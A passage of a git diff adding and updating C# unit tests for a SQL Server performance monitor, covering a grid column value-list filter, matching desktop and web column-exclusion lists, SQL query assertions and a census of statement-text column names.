+                Assert.True(Enum.Parse<ColumnValueMode>(expectedState.GetProperty("mode").GetString()!) == state.ValueMode, $"{at}: mode {state.ValueMode}");
+                Assert.True(expectedState.GetProperty("blank").GetBoolean() == state.ValueBlank, $"{at}: blank flag");
+                Assert.True(Strings(expectedState.GetProperty("values")).ToHashSet(StringComparer.OrdinalIgnoreCase).SetEquals(state.Values), $"{at}: state values {string.Join("|", state.Values.Take(15))}");
+            }
+            if (expect.TryGetProperty("shown", out var expectedShown))
+            {
+                var want = expectedShown.EnumerateArray().Select(e => e.ValueKind == JsonValueKind.Null ? null : e.GetString()).ToList();
+                Assert.True(want.SequenceEqual(shown), $"{at}: shown rows {string.Join("|", shown.Take(15).Select(s => s ?? "<null>"))}");
+            }
+            if (expect.TryGetProperty("shownCount", out var shownCount))
+                Assert.True(shownCount.GetInt32() == shown.Count, $"{at}: shown {shown.Count} rows");
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ColumnValueListNameRuleTests.cs b/Darling/Darling.Tests/ColumnValueListNameRuleTests.cs
new file mode 100644
index 0000000000..3b675c9eb4
--- /dev/null
+++ b/Darling/Darling.Tests/ColumnValueListNameRuleTests.cs
@@ -0,0 +1,120 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Common;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The "no value list" column-name rule (#5565) lives twice: <c>ColumnValueListColumns</c> for the desktop and
+/// <c>NO_LIST_SUFFIXES</c> / <c>NO_LIST_FRAGMENTS</c> in <c>grid-value-filter.js</c> for the web page. A statement,
+/// plan or message column that gets a list on one half and not the other keeps its text in the browser or the
+/// settings folder, so these tests hold the two lists to be the same and run the fixture's desktop/web name pairs
+/// through the desktop half (the web half runs in <see cref="GridValueFilterBehaviourTests"/>).
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class ColumnValueListNameRuleTests
+{
+    private static string[] JsArray(string source, string name)
+    {
+        var m = Regex.Match(source, @"export const " + name + @" = \[(?<items>.*?)\];", RegexOptions.Singleline);
+        Assert.True(m.Success, name + " was not found in grid-value-filter.js");
+        return Regex.Matches(m.Groups["items"].Value, "\"(?<s>[^\"]*)\"").Select(x => x.Groups["s"].Value).ToArray();
+    }
+
+    private static string WebSource() => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "grid-value-filter.js");
+
+    [Fact]
+    public void The_web_and_desktop_suffix_lists_are_the_same()
+    {
+        var web = JsArray(WebSource(), "NO_LIST_SUFFIXES").OrderBy(s => s, StringComparer.Ordinal).ToArray();
+        var desktop = ColumnValueListColumns.NameSuffixes.Select(s => s.ToLowerInvariant()).OrderBy(s => s, StringComparer.Ordinal).ToArray();
+        Assert.NotEmpty(desktop);
+        Assert.Equal(desktop, web);
+    }
+
+    [Fact]
+    public void The_web_and_desktop_fragment_lists_are_the_same()
+    {
+        var web = JsArray(WebSource(), "NO_LIST_FRAGMENTS").OrderBy(s => s, StringComparer.Ordinal).ToArray();
+        var desktop = ColumnValueListColumns.NameFragments.Select(s => s.ToLowerInvariant()).OrderBy(s => s, StringComparer.Ordinal).ToArray();
+        Assert.NotEmpty(desktop);
+        Assert.Equal(desktop, web);
+    }
+
+    private static JsonElement Pairs()
+    {
+        var path = PathTo("Darling", "Darling.Tests", "Fixtures", "column-value-filter-cases.json");
+        using var doc = JsonDocument.Parse(File.ReadAllText(path));
+        return Find(doc.RootElement, "noListColumnPairs").Clone();
+    }
+
+    private static JsonElement Find(JsonElement e, string name)
+    {
+        if (e.ValueKind == JsonValueKind.Object)
+        {
+            foreach (var p in e.EnumerateObject())
+            {
+                if (p.Name == name)
+                {
+                    return p.Value;
+                }
+
+                if (p.Value.ValueKind == JsonValueKind.Object)
+                {
+                    var inner = Find(p.Value, name);
+                    if (inner.ValueKind != JsonValueKind.Undefined)
+                    {
+                        return inner;
+                    }
+                }
+            }
+        }
+
+        return default;
+    }
+
+    [Fact]
+    public void The_desktop_gives_the_fixture_s_answer_for_every_column_name_pair()
+    {
+        var pairs = Pairs();
+        var excluded = pairs.GetProperty("excluded").EnumerateArray().Select(p => p.GetProperty("desktop").GetString()!).ToArray();
+        var listed = pairs.GetProperty("listed").EnumerateArray().Select(p => p.GetProperty("desktop").GetString()!).ToArray();
+        Assert.NotEmpty(excluded);
+        Assert.NotEmpty(listed);
+        Assert.All(excluded, n => Assert.True(ColumnValueListColumns.IsExcluded(n), n + " must get no list"));
+        Assert.All(listed, n => Assert.False(ColumnValueListColumns.IsExcluded(n), n + " must get a list"));
+    }
+
+    [Fact]
+    public void Every_pair_names_a_web_key_that_snake_cases_the_desktop_name()
+    {
+        // A pair whose two halves name different columns would test nothing: the web key is the desktop name in snake_case,
+        // allowing the few real columns whose key differs (listed in the exceptions).
+        var exceptions = new HashSet<string> { "SqlText", "Command", "Preview" };
+        var pairs = Pairs();
+        foreach (var list in new[] { "excluded", "listed" })
+        {
+            foreach (var p in pairs.GetProperty(list).EnumerateArray())
+            {
+                var d = p.GetProperty("desktop").GetString()!;
+                var w = p.GetProperty("web").GetString()!;
+                var snake = Regex.Replace(d, "(?<=[a-z0-9])(?=[A-Z])", "_").ToLowerInvariant();
+                Assert.True(exceptions.Contains(d) || snake == w, d + " vs " + w);
+            }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ColumnValueListTests.cs b/Darling/Darling.Tests/ColumnValueListTests.cs
new file mode 100644
index 0000000000..c8f1dabac4
--- /dev/null
+++ b/Darling/Darling.Tests/ColumnValueListTests.cs
@@ -0,0 +1,355 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The value-list column filter (#5565): the list builder (distinct, ignore-case, sorted, blank flag, 1,000 cap,
+/// search), the tick selection and its mode choice, the match, the chip text, which columns get a list, and the
+/// popup's list model (Select All under a search, the notes). The shared fixture cases run in
+/// <see cref="ColumnValueFilterCasesTests"/>.
+/// </summary>
+public sealed class ColumnValueListTests
+{
+    private static ColumnValueCatalog Catalog(params string?[] cells) => ColumnValueCatalog.Build(cells);
+
+    [Fact]
+    public void The_list_is_distinct_ignoring_case_sorted_and_keeps_the_first_spelling()
+    {
+        var catalog = Catalog("sa", "app", "APP", "Job_svc", "App");
+
+        Assert.Equal(new[] { "app", "Job_svc", "sa" }, catalog.Values);
+        Assert.False(catalog.HasBlank);
+    }
+
+    [Fact]
+    public void Null_empty_and_whitespace_cells_are_all_the_blank_flag()
+    {
+        Assert.True(Catalog("a", null).HasBlank);
+        Assert.True(Catalog("a", "").HasBlank);
+        Assert.True(Catalog("a", "   ").HasBlank);
+        Assert.False(Catalog("a", "b").HasBlank);
+        Assert.Equal(new[] { "a" }, Catalog("a", "  ", null, "").Values);
+    }
+
+    [Fact]
+    public void The_blanks_entry_opens_the_list_only_when_the_search_is_empty()
+    {
+        var catalog = Catalog("sa", null);
+
+        Assert.True(catalog.List("").HasBlankEntry);
+        Assert.True(catalog.List(null).HasBlankEntry);
+        Assert.False(catalog.List("s").HasBlankEntry);
+        Assert.Equal(2, catalog.List("").Count);
+    }
+
+    [Fact]
+    public void The_list_is_cut_at_1000_with_a_note_and_the_search_reaches_the_rest()
+    {
+        var catalog = ColumnValueCatalog.Build(Enumerable.Range(0, 1500).Select(i => (string?)("x" + i)));
+
+        var all = catalog.List("");
+        Assert.Equal(1000, all.Values.Count);
+        Assert.Equal(1500, all.AllMatches.Count);
+        Assert.Equal("Showing 1,000 of 1,500 values. Search to find the rest.", all.CapNote);
+
+        var found = catalog.List("X99");
+        Assert.Equal(11, found.Values.Count);
+        Assert.Null(found.CapNote);
+        Assert.Contains("x99", found.Values);
+        Assert.DoesNotContain("x99", all.Values);
+    }
+
+    [Fact]
+    public void A_search_that_still_matches_more_than_1000_says_how_many()
+    {
+        var catalog = ColumnValueCatalog.Build(Enumerable.Range(0, 2500).Select(i => (string?)("login" + i)));
+
+        Assert.Equal("Showing 1,000 of 2,500 values. Search to find the rest.", catalog.List("login").CapNote);
+        Assert.Equal("Showing 1,000 of 1,111 values. Search to find the rest.", catalog.List("login1").CapNote);
+    }
+
+    [Fact]
+    public void A_column_with_a_value_over_256_characters_gets_no_list()
+    {
+        Assert.True(Catalog("short", new string('a', 256)).IsListable);
+        Assert.False(Catalog("short", new string('a', 257)).IsListable);
+    }
+
+    [Theory]
+    [InlineData("QueryText", true)]
+    [InlineData("SqlText", true)]
+    [InlineData("StatementText", true)]
+    [InlineData("TextData", true)]
+    [InlineData("QueryPlan", true)]
+    [InlineData("LiveQueryPlan", true)]
+    [InlineData("QueryPlanXml", true)]
+    [InlineData("DeadlockGraphXml", true)]
+    [InlineData("ErrorMessage", true)]
+    [InlineData("OriginalIndexDefinition", true)]
+    [InlineData("LastSeenText", true)]
+    [InlineData("SqlDurationFormatted", true)]
+    [InlineData("LoginName", false)]
+    [InlineData("DatabaseName", false)]
+    [InlineData("HostName", false)]
+    [InlineData("ProgramName", false)]
+    [InlineData("WaitType", false)]
+    [InlineData("", true)]
+    public void Query_plan_xml_and_prose_columns_are_excluded_by_name(string column, bool excluded)
+    {
+        Assert.Equal(excluded, ColumnValueListColumns.IsExcluded(column));
+    }
+
+    private static ColumnFilterState Apply(ColumnValueSelection selection)
+    {
+        var state = new ColumnFilterState { ColumnName = "c" };
+        selection.ApplyTo(state);
+        return state;
+    }
+
+    [Fact]
+    public void All_ticked_is_no_value_filter()
+    {
+        var state = Apply(new ColumnValueSelection(Catalog("a", "b", null), null));
+
+        Assert.Equal(ColumnValueMode.None, state.ValueMode);
+        Assert.False(state.IsActive);
+    }
+
+    [Fact]
+    public void Fewer_unticked_than_ticked_hides_the_unticked_and_otherwise_shows_only_the_ticked()
+    {
+        var catalog = Catalog("a", "b", "c", "d");
+
+        var hide = new ColumnValueSelection(catalog, null);
+        hide.SetTicked("a", false);
+        var hidden = Apply(hide);
+        Assert.Equal(ColumnValueMode.Hide, hidden.ValueMode);
+        Assert.Equal(new[] { "a" }, hidden.Values);
+
+        var tie = new ColumnValueSelection(catalog, null);
+        tie.SetTicked("a", false);
+        tie.SetTicked("b", false);
+        var shown = Apply(tie);
+        Assert.Equal(ColumnValueMode.ShowOnly, shown.ValueMode);
+        Assert.Equal(new[] { "c", "d" }, shown.Values.OrderBy(v => v));
+    }
+
+    [Fact]
+    public void Nothing_ticked_is_show_only_of_nothing_and_it_says_so()
+    {
+        var model = new ColumnValueListModel(Catalog("a", "b"), null);
+        model.SetAll(false);
+
+        var state = new ColumnFilterState();
+        model.ApplyTo(state);
+        Assert.Equal(ColumnValueMode.ShowOnly, state.ValueMode);
+        Assert.True(state.ShowsNoValues);
+        Assert.True(state.IsActive);
+        Assert.Equal("No values are ticked, so no rows show.", model.NoTicksNote);
+        Assert.False(ColumnFilterMatcher.MatchesFilter(new Cell("a"), WithColumn(state)));
+    }
+
+    private sealed class Cell
+    {
+        public Cell(string? v) { Value = v; }
+        public string? Value { get; }
+    }
+
+    private static ColumnFilterState WithColumn(ColumnFilterState state)
+    {
+        state.ColumnName = nameof(Cell.Value);
+        return state;
+    }
+
+    [Fact]
+    public void A_selection_with_every_listed_value_ticked_is_None_even_when_the_stored_filter_names_a_gone_value()
+    {
+        /* #5565: the mode is chosen from the listed ticks only, as the web page does, so a gone value never keeps a
+           filter alive when every box is ticked. (The popup does not rebuild the value part at all when no box was
+           touched: see ColumnFilterPopupTests.) */
+        var existing = new ColumnFilterState { ColumnName = "c", ValueMode = ColumnValueMode.Hide };
+        existing.Values.Add("job_svc");
+
+        var state = Apply(new ColumnValueSelection(Catalog("sa", "app"), existing));
+
+        Assert.Equal(ColumnValueMode.None, state.ValueMode);
+        Assert.Empty(state.Values);
+    }
+
+    [Fact]
+    public void Gone_values_do_not_tip_the_mode_and_are_kept_only_on_the_stored_filters_own_side()
+    {
+        var existing = new ColumnFilterState { ColumnName = "c", ValueMode = ColumnValueMode.Hide };
+        existing.Values.Add("x");
+        existing.Values.Add("y");
+        var selection = new ColumnValueSelection(Catalog("a", "b", "c"), existing);
+        selection.SetTicked("c", false);
+
+        var state = Apply(selection);
+
+        /* one unticked of three listed: Hide (the old count, 1 + 2 gone against 2, chose ShowOnly {a, b} and dropped x, y) */
+        Assert.Equal(ColumnValueMode.Hide, state.ValueMode);
+        Assert.True(state.Values.SetEquals(new[] { "c", "x", "y" }));
+
+        selection.TickOnly(new[] { "a" }, false);
+        var showOnly = Apply(selection);
+
+        /* two unticked of three: ShowOnly, which does not carry the Hide filter's gone values over */
+        Assert.Equal(ColumnValueMode.ShowOnly, showOnly.ValueMode);
+        Assert.Equal(new[] { "a" }, showOnly.Values);
+    }
+
+    [Fact]
+    public void The_list_model_knows_whether_a_tick_changed_since_it_opened()
+    {
+        var model = new ColumnValueListModel(Catalog("a", "b"), null);
+        Assert.False(model.TicksDirty);
+
+        model.Entries[0].IsTicked = false;
+        Assert.True(model.TicksDirty);
+
+        foreach (var action in new Action<ColumnValueListModel>[] { m => m.SetAll(false), m => m.ToggleSelectAll(), m => m.TickOnly(new[] { "a" }, false) })
+        {
+            var fresh = new ColumnValueListModel(Catalog("a", "b"), null);
+            var raised = 0;
+            fresh.TicksChanged += (_, _) => raised++;
+            action(fresh);
+            Assert.True(fresh.TicksDirty);
+            Assert.True(raised > 0, "Select All and Tick only raise TicksChanged, so the popup refreshes its note");
+        }
+    }
+
+    [Fact]
+    public void Reopening_a_stored_filter_shows_the_same_ticks()
+    {
+        var catalog = Catalog("sa", "app", "job_svc", null);
+        var first = new ColumnValueSelection(catalog, null);
+        first.SetTicked("job_svc", false);
+        first.SetBlankTicked(false);
+        var stored = Apply(first);
+
+        var again = new ColumnValueSelection(catalog, stored);
+
+        Assert.False(again.IsTicked("job_svc"));
+        Assert.True(again.IsTicked("sa"));
+        Assert.True(again.IsTicked("app"));
+        Assert.False(again.IsBlankTicked);
+    }
+
+    [Fact]
+    public void The_value_part_and_the_text_match_are_anded_and_either_makes_the_filter_active()
+    {
+        var state = new ColumnFilterState { ColumnName = nameof(Cell.Value), ValueMode = ColumnValueMode.ShowOnly };
+        state.Values.Add("app");
+
+        Assert.True(state.IsActive);
+        Assert.False(state.HasTextMatch);
+        Assert.True(ColumnFilterMatcher.MatchesFilter(new Cell("APP"), state));
+        Assert.False(ColumnFilterMatcher.MatchesFilter(new Cell("sa"), state));
+
+        state.Operator = FilterOperator.StartsWith;
+        state.Value = "z";
+        Assert.False(ColumnFilterMatcher.MatchesFilter(new Cell("app"), state));
+
+        var textOnly = new ColumnFilterState { ColumnName = nameof(Cell.Value), Value = "p" };
+        Assert.True(textOnly.IsActive);
+        Assert.True(ColumnFilterMatcher.MatchesFilter(new Cell("app"), textOnly));
+    }
+
+    [Fact]
+    public void A_whitespace_cell_is_blank_and_a_real_value_spelled_Blanks_is_not()
+    {
+        var hideBlank = new ColumnFilterState { ColumnName = nameof(Cell.Value), ValueMode = ColumnValueMode.Hide, ValueBlank = true };
+
+        Assert.False(ColumnFilterMatcher.MatchesFilter(new Cell("  "), hideBlank));
+        Assert.False(ColumnFilterMatcher.MatchesFilter(new Cell(null), hideBlank));
+        Assert.True(ColumnFilterMatcher.MatchesFilter(new Cell("(Blanks)"), hideBlank));
+    }
+
+    [Fact]
+    public void The_chip_text_says_how_many_values_and_keeps_the_text_match()
+    {
+        var hide = new ColumnFilterState { ColumnName = "c", ValueMode = ColumnValueMode.Hide, ValueBlank = true };
+        hide.Values.Add("a");
+        hide.Values.Add("b");
+        Assert.Equal("hides 3 values", hide.DisplayText);
+
+        var show = new ColumnFilterState { ColumnName = "c", ValueMode = ColumnValueMode.ShowOnly, Operator = FilterOperator.Contains, Value = "x" };
+        show.Values.Add("a");
+        Assert.Equal("shows 1 value, Contains 'x'", show.DisplayText);
+
+        Assert.Equal("Contains 'x'", new ColumnFilterState { Value = "x" }.DisplayText);
+        Assert.Equal(string.Empty, new ColumnFilterState().DisplayText);
+    }
+
+    [Fact]
+    public void The_model_lists_the_blanks_entry_first_and_a_value_spelled_Blanks_as_itself()
+    {
+        var model = new ColumnValueListModel(Catalog("(Blanks)", "x", null), null);
+
+        Assert.Equal(new[] { "(Blanks)", "(Blanks)", "x" }, model.Entries.Select(e => e.Label));
+        Assert.True(model.Entries[0].IsBlank);
+        Assert.False(model.Entries[1].IsBlank);
+    }
+
+    [Fact]
+    public void Select_All_under_a_search_ticks_only_what_the_search_shows_even_past_the_cap()
+    {
+        var model = new ColumnValueListModel(
+            ColumnValueCatalog.Build(Enumerable.Range(0, 1500).Select(i => (string?)("x" + i)).Append(null)), null);
+
+        model.Search = "x99";
+        Assert.Equal(11, model.Entries.Count);
+        Assert.Null(model.Note);
+
+        model.SetAll(false);
+        var state = new ColumnFilterState();
+        model.ApplyTo(state);
+        Assert.Equal(ColumnValueMode.Hide, state.ValueMode);
+        Assert.Equal(11, state.Values.Count);
+        Assert.False(state.ValueBlank);
+
+        model.Search = "";
+        Assert.Equal(1001, model.Entries.Count); // (Blanks) + the first 1,000
+        Assert.Equal("Showing 1,000 of 1,500 values. Search to find the rest.", model.Note);
+        Assert.Null(model.SelectAllState); // mixed
+
+        model.ToggleSelectAll(); // not all ticked, so Select All ticks every one
+        model.ApplyTo(state);
+        Assert.Equal(ColumnValueMode.None, state.ValueMode);
+        Assert.True(model.SelectAllState);
+        model.ToggleSelectAll(); // all ticked, so it unticks every one
+        model.ApplyTo(state);
+        Assert.True(state.ShowsNoValues);
+    }
+
+    [Fact]
+    public void Ticking_an_entry_updates_the_state_and_raises_TicksChanged()
+    {
+        var model = new ColumnValueListModel(Catalog("a", "b", "c"), null);
+        var raised = 0;
+        model.TicksChanged += (_, _) => raised++;
+
+        model.Entries.Single(e => e.Value == "b").IsTicked = false;
+
+        var state = new ColumnFilterState();
+        model.ApplyTo(state);
+        Assert.Equal(1, raised);
+        Assert.Equal(ColumnValueMode.Hide, state.ValueMode);
+        Assert.Equal(new[] { "b" }, state.Values);
+        Assert.Null(model.SelectAllState);
+    }
+}
diff --git a/Darling/Darling.Tests/CommandDeadlineScannerAdoptionTests.cs b/Darling/Darling.Tests/CommandDeadlineScannerAdoptionTests.cs
index 1b99efdc11..a364813330 100644
--- a/Darling/Darling.Tests/CommandDeadlineScannerAdoptionTests.cs
+++ b/Darling/Darling.Tests/CommandDeadlineScannerAdoptionTests.cs
@@ -33,6 +33,7 @@ namespace Darling.Tests;
 /// anyone noticed they were the same judgement. A pin that lands in neither list fails asking which it is,
 /// instead of joining the family by adjacency or skipping it by omission.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class CommandDeadlineScannerAdoptionTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/CommandPlaneCommandTimeoutTests.cs b/Darling/Darling.Tests/CommandPlaneCommandTimeoutTests.cs
index 2c47a93207..863d2b944d 100644
--- a/Darling/Darling.Tests/CommandPlaneCommandTimeoutTests.cs
+++ b/Darling/Darling.Tests/CommandPlaneCommandTimeoutTests.cs
@@ -104,14 +104,16 @@ private static readonly (string File, string Member, string Constant)[] s_sites
         ("DarlingWorker.cs", "RunExecuteActualPlanAsync", nameof(ServiceCommandDeadlines.ActualPlanResolveSeconds)),
         ("QueryStoreBackfill.cs", "GetCandidateDatabasesAsync", nameof(ServiceCommandDeadlines.QueryStoreBackfillReadSeconds)),
         ("QueryStoreBackfill.cs", "GetStoredFloorAsync", nameof(ServiceCommandDeadlines.QueryStoreBackfillReadSeconds)),
+        ("QueryStoreBackfill.cs", "DropGoneDatabasesAsync", nameof(ServiceCommandDeadlines.QueryStoreBackfillReadSeconds)),
         ("StoreConfigProvider.cs", "ReadConfigVersionAsync", nameof(ServiceCommandDeadlines.ConfigReloadBeaconSeconds)),
     };
 
     /// <summary>This group's command sites, counted so a member that stops creating commands fails loudly.
     /// #4197 bumped this from 9 to 10: <c>GetStoredFloorAsync</c> now builds TWO commands (an EXISTS pre-check
     /// and a MIN fallback) under the one <c>QueryStoreBackfillReadSeconds</c> regime, where every other member
-    /// in <see cref="s_sites"/> still builds exactly one.</summary>
-    private const int ExpectedSiteCount = 10;
+    /// in <see cref="s_sites"/> still builds exactly one. #5483 bumped it from 10 to 12: <c>DropGoneDatabasesAsync</c>
+    /// builds TWO (the newest-snapshot read and the per-database newer-row probe), both on the same regime.</summary>
+    private const int ExpectedSiteCount = 12;
 
     /// <summary>
     /// All FIVE construction shapes this sweep now knows about. The bare method group is absent from this
diff --git a/Darling/Darling.Tests/CommentFilterAdoptionTests.cs b/Darling/Darling.Tests/CommentFilterAdoptionTests.cs
index 383ef67ffb..d96e28c258 100644
--- a/Darling/Darling.Tests/CommentFilterAdoptionTests.cs
+++ b/Darling/Darling.Tests/CommentFilterAdoptionTests.cs
@@ -63,8 +63,12 @@ namespace Darling.Tests;
 /// its throwaway cluster. <c>CrossAppGuardCiGateTests</c> does see the
 /// three <c>Lite.Tests</c> keys below — #3067 widened its anchor past the app directory, since
 /// <c>Lite.Tests</c> is a sibling of <c>Lite</c> rather than a directory inside it — and exempts them on
-/// this same reasoning, under the same bound.</para>
+/// this same reasoning, under the same bound. The fourth, <c>Lite.Tests/DataStartBannerQueriesTabTests.cs</c>
+/// (#4966), is named in the <c>darling</c> filter instead, as the single file it is: that costs a Darling build only
+/// when that one file changes, so it has no exemption.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class CommentFilterAdoptionTests
 {
     /// <summary>
@@ -80,8 +84,8 @@ public sealed class CommentFilterAdoptionTests
     /// <see cref="AnalysisPassTokenThreadingTests"/> gives: the way a wildcard grows is that nobody has to
     /// name a new entry.
     ///
-    /// <para>Four kinds live here and they are not the same kind. Seven <b>collect</b> a doc-comment run,
-    /// where the prefix is what defines the run. One reads a <b>stated, measured</b> bound off a named file.
+    /// <para>Four kinds live here and they are not the same kind. Eight <b>collect</b> a doc-comment run,
+    /// where the prefix is what defines the run. Three read a <b>stated, measured</b> bound off a named file each.
     /// One filters <b>SQL</b>, which the C# walk cannot help with. One <b>demonstrates</b> the shape on an
     /// arranged fixture, which is this file.</para>
     /// </summary>
@@ -146,6 +150,16 @@ public sealed class CommentFilterAdoptionTests
             + "that happened to spell one would register as a phantom entry needing lineage of its own, "
             + "which is again loud; nothing in the table today is a block comment.",
 
+        ["Lite.Tests/DataStartBannerQueriesTabTests.cs"] =
+            "COLLECTS a doc run. DocBefore gathers the contiguous /// run (attribute lines included) above a "
+            + "named declaration, so that a pin can read which surfaces a doc comment names - the names live ONLY "
+            + "in that comment, so asking for the walker would leave nothing to read. Stated bound: the walk "
+            + "STOPS at the first line that is neither /// -prefixed nor an attribute, so a /* */ block, a // line "
+            + "or a blank line between the run and its declaration truncates it and the surfaces it names read as "
+            + "MISSING - a spurious red, the loud direction, because every surface is asserted present before the "
+            + "pin passes. A signature that is not found fails the pin on its own message rather than reading an "
+            + "empty run.",
+
         ["Lite.Tests/LiteSidebarDotRendersTheCardStatusTests.cs"] =
             "STATED BOUND, and asking for the walker would BREAK it. Its doc comment records the measurement: "
             + "ServerConnection.cs carries exactly one block comment, the licence header, so dropping "
@@ -154,6 +168,15 @@ public sealed class CommentFilterAdoptionTests
             + "which is a pass for the wrong reason. Measurement-dependent, not permanent: a second block "
             + "comment in that file makes the bound wrong.",
 
+        ["Lite.Tests/LiteTimeRangeGapTests.cs"] =
+            "STATED BOUND, measured. It COUNTS call sites of ApplyWindowFloorToBanner( across Lite's tab sources (#5562 R7: every banner site feeds the "
+            + "picker's data start). IsDocOrDefinition drops a match whose line, trimmed, starts with //, ///, * or /*, so a "
+            + "doc or comment mention is not a site, and drops the method's own definition line. Stated bound: it reads one "
+            + "line, so a call written inside a block comment on a line that does not begin with * or /* is miscounted as a "
+            + "site (a spurious extra site, the loud direction: the per-file count then disagrees with the sites pinned). "
+            + "The walker would drop the call as comment text correctly, but the same test also needs the definition line "
+            + "kept apart, which the line check does in one step; the sources it reads carry no such block comment today.",
+
         ["Darling.Tests/Pg18IoBytesTests.cs"] =
             "NOT C#. The filter runs over DarlingPgIoReader.PgIoSql - SQL text already extracted from a raw "
             + "string literal - and drops SQL block-comment lines from the outer SELECT list before counting "
@@ -162,6 +185,17 @@ public sealed class CommentFilterAdoptionTests
             + "/* and * arms are inert; a comment added there whose continuation line contains ' AS ' would "
             + "over-count the select list and fail the 19 pin loudly.",
 
+        ["Darling.Tests/DarlingWebTlsTests.cs"] =
+            "STATED BOUND, and asking for the walker would BREAK it. NoMessage_SpellsTheWebSectionOutright hunts a "
+            + "string LITERAL that spells the web section outright, and the walker blanks literal text, so adopting "
+            + "it would blank the very thing the scan reads and pass for the wrong reason. The filter drops the lines "
+            + "whose trimmed text starts with // (a /// line starts with it too), then reports a line that carries a "
+            + "double quote ahead of the name. Stated bound: ONLY whole-line // comments are skipped, so a /* */ "
+            + "block-comment line, or a trailing // comment, that has a quote ahead of the name reads as a literal "
+            + "and is reported - a spurious red, the loud direction, because the scan can only over-report. "
+            + "Measurement-dependent, not permanent: the two files it reads (DarlingWebTls.cs and DarlingConfig.cs) "
+            + "name the web setting on whole-line // and /// comments only today.",
+
         ["Darling.Tests/PgTargetMeasuredLineageTests.cs"] =
             "COLLECTS a doc run. CommentBlockAbove walks upward from a named constant through the contiguous "
             + "/// lines and /* */ block above it and collapses them, so that the #3691 lineage citation (date and "
@@ -268,7 +302,7 @@ newline would send the reader to innocent code. */
     private static readonly (string Label, string Claim)[] s_kinds =
     {
         ("COLLECTS", "collect a doc-comment run"),
-        ("STATED BOUND", "reads a stated, measured bound"),
+        ("STATED BOUND", "read a stated, measured bound"),
         ("NOT C#", "filters SQL"),
         ("DEMONSTRATES", "demonstrates the shape"),
     };
diff --git a/Darling/Darling.Tests/ComposeAnnotationServerClockTests.cs b/Darling/Darling.Tests/ComposeAnnotationServerClockTests.cs
index b8273b6230..1b9664f96b 100644
--- a/Darling/Darling.Tests/ComposeAnnotationServerClockTests.cs
+++ b/Darling/Darling.Tests/ComposeAnnotationServerClockTests.cs
@@ -55,7 +55,7 @@ public void ClockRead_TakesTheNewestRowWithAnOffset_AndTheZoneFromThatSameRow()
     public void ClockRead_IsScopedByThePanelsServers_AndReadsTheFleetWhenItNamesNone()
     {
         var scoped = ComposeCompiler.CompileServerClockRead(Context(new[] { "SERVER-A", "SERVER-B" }));
-        Assert.Contains("AND   server_name = ANY($1)", scoped.Sql, StringComparison.Ordinal);
+        Assert.Contains("AND   server_id = ANY(ARRAY(SELECT reg.server_id FROM collect.servers AS reg WHERE reg.server_name = ANY($1)))", scoped.Sql, StringComparison.Ordinal);
         Assert.Equal(new[] { "SERVER-A", "SERVER-B" }, Assert.IsType<string[]>(Assert.Single(scoped.Parameters).Value));
         Assert.DoesNotContain("SERVER-A", scoped.Sql, StringComparison.Ordinal);
 
@@ -87,7 +87,7 @@ public void ServerLocalAnnotation_JoinsItsOffsetFromBoundRanges_AndWritesNoValue
         Assert.Contains($"SELECT {deSkewed} AS ts", scoped.Sql, StringComparison.Ordinal);
         Assert.Contains($"WHERE {deSkewed} >= $1", scoped.Sql, StringComparison.Ordinal);
         Assert.Contains($"AND {deSkewed} <= $2", scoped.Sql, StringComparison.Ordinal);
-        Assert.Contains("f.server_name = ANY($3)", scoped.Sql, StringComparison.Ordinal);
+        Assert.Contains("f.server_id = ANY(ARRAY(SELECT reg.server_id FROM collect.servers AS reg WHERE reg.server_name = ANY($3)))", scoped.Sql, StringComparison.Ordinal);
         Assert.Equal(7, scoped.Parameters.Count);
 
         /* The newest-offset subquery is gone from the annotation query: it is what drew a marker from before
diff --git a/Darling/Darling.Tests/ComposeCatalogStatementTextCensusTests.cs b/Darling/Darling.Tests/ComposeCatalogStatementTextCensusTests.cs
new file mode 100644
index 0000000000..d1d13d8501
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeCatalogStatementTextCensusTests.cs
@@ -0,0 +1,101 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, L8: the Custom Views catalog is a closed list, and what it can chart or label is a number or a short name.
+/// Statement text and plan or event XML never reach a Custom View (a measure column, a dimension column or an annotation
+/// label), so <c>/api/compose/run</c>, <c>/api/catalog</c> and the two Custom View tools carry none and need no filter of
+/// their own. This census pins that: a catalog column named like a statement or XML column fails the build until the
+/// read behind it is judged.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class ComposeCatalogStatementTextCensusTests
+{
+    private static readonly Regex StatementColumn = new(
+        @"^(query_text|[a-z0-9_]*sql_text|statement_text|batch_text|text_data|inputbuf|input_buffer|command|definition"
+        + @"|event_xml|[a-z0-9_]*_xml|query_plan[a-z0-9_]*|[a-z0-9_]*plan_xml|deadlock_graph[a-z0-9_]*|[a-z0-9_]*_text)$",
+        RegexOptions.Compiled | RegexOptions.CultureInvariant | RegexOptions.IgnoreCase);
